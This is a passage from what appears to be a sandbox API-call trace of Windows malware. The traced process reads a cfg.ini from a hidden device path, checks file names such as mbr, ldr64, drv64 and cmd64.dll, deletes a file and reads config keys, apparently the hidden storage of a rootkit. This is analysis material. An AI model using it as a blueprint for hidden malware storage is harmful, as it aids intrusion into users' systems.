MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.367] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.367] IdePortDispatch () returned 0x103 [0120.367] KeWaitForMutexObject () returned 0x0 [0120.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.367] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.367] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.367] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.367] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.367] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc070 [0120.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.367] KeLeaveCriticalRegion () [0120.367] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.367] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.367] KeEnterCriticalRegion () [0120.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.367] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.367] KeLeaveCriticalRegion () [0120.367] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.368] KeEnterCriticalRegion () [0120.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.368] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.368] IdePortDispatch () returned 0x103 [0120.368] KeWaitForMutexObject () returned 0x0 [0120.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.368] KeLeaveCriticalRegion () [0120.368] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.368] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.368] KeEnterCriticalRegion () [0120.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.368] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003451000 [0120.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.368] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.368] IdePortDispatch () returned 0x103 [0120.368] KeWaitForMutexObject () returned 0x0 [0120.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.368] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.368] IdePortDispatch () returned 0x103 [0120.369] KeWaitForMutexObject () returned 0x0 [0120.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.369] KeLeaveCriticalRegion () [0120.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.369] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.369] KeEnterCriticalRegion () [0120.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.369] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.369] KeLeaveCriticalRegion () [0120.369] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.369] KeEnterCriticalRegion () [0120.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.369] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.369] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc27b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.369] KeLeaveCriticalRegion () [0120.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.369] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.369] KeEnterCriticalRegion () [0120.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.369] ExFreePoolWithTag (P=0xfffffa8003bbc070, Tag=0x0) [0120.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.369] KeLeaveCriticalRegion () [0120.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.370] ReleaseMutex (hMutex=0xf0) returned 1 [0120.370] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.370] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.370] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.370] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.370] KeEnterCriticalRegion () [0120.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.370] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.370] IdePortDispatch () returned 0x103 [0120.370] KeWaitForMutexObject () returned 0x0 [0120.370] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.370] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.370] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.370] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.370] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.370] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.370] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.370] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.370] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.370] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.370] KeLeaveCriticalRegion () [0120.370] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.370] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.370] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.370] KeEnterCriticalRegion () [0120.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.371] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.371] IdePortDispatch () returned 0x103 [0120.371] KeWaitForMutexObject () returned 0x0 [0120.371] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.371] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.371] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.371] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.371] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.371] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.371] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.371] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.371] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.371] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.371] KeLeaveCriticalRegion () [0120.371] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.371] ReleaseMutex (hMutex=0x100) returned 1 [0120.371] Sleep (dwMilliseconds=0x2bf20) [0120.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6af36ab0, dwHighDateTime=0x1d24fa4)) [0120.377] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.377] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.377] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.377] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.377] KeEnterCriticalRegion () [0120.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.378] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.378] IdePortDispatch () returned 0x103 [0120.378] KeWaitForMutexObject () returned 0x0 [0120.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.378] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.378] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.378] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.378] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.378] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc340 [0120.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.378] KeLeaveCriticalRegion () [0120.378] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.378] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.378] KeEnterCriticalRegion () [0120.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.378] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.378] KeLeaveCriticalRegion () [0120.378] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.378] KeEnterCriticalRegion () [0120.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.378] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.378] IdePortDispatch () returned 0x103 [0120.378] KeWaitForMutexObject () returned 0x0 [0120.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.378] KeLeaveCriticalRegion () [0120.378] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.379] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.379] KeEnterCriticalRegion () [0120.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.379] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003454000 [0120.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.379] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.379] IdePortDispatch () returned 0x103 [0120.379] KeWaitForMutexObject () returned 0x0 [0120.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.379] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.379] IdePortDispatch () returned 0x103 [0120.379] KeWaitForMutexObject () returned 0x0 [0120.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.379] KeLeaveCriticalRegion () [0120.379] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.380] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.380] KeEnterCriticalRegion () [0120.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.380] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.380] KeLeaveCriticalRegion () [0120.380] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.380] KeEnterCriticalRegion () [0120.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.380] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.380] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.380] KeLeaveCriticalRegion () [0120.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.380] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.380] KeEnterCriticalRegion () [0120.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.380] ExFreePoolWithTag (P=0xfffffa8003bbc340, Tag=0x0) [0120.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.380] KeLeaveCriticalRegion () [0120.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.380] ReleaseMutex (hMutex=0xf0) returned 1 [0120.380] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.380] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.380] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.380] KeEnterCriticalRegion () [0120.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.380] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.380] IdePortDispatch () returned 0x103 [0120.380] KeWaitForMutexObject () returned 0x0 [0120.381] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.381] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.381] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.381] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.381] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.381] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc280 [0120.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.381] KeLeaveCriticalRegion () [0120.381] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.381] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.381] KeEnterCriticalRegion () [0120.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.381] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.381] KeLeaveCriticalRegion () [0120.381] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.381] KeEnterCriticalRegion () [0120.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.381] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.381] IdePortDispatch () returned 0x103 [0120.381] KeWaitForMutexObject () returned 0x0 [0120.381] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.381] KeLeaveCriticalRegion () [0120.381] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.381] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.381] KeEnterCriticalRegion () [0120.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.381] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003455000 [0120.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.382] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.382] IdePortDispatch () returned 0x103 [0120.382] KeWaitForMutexObject () returned 0x0 [0120.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.382] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: 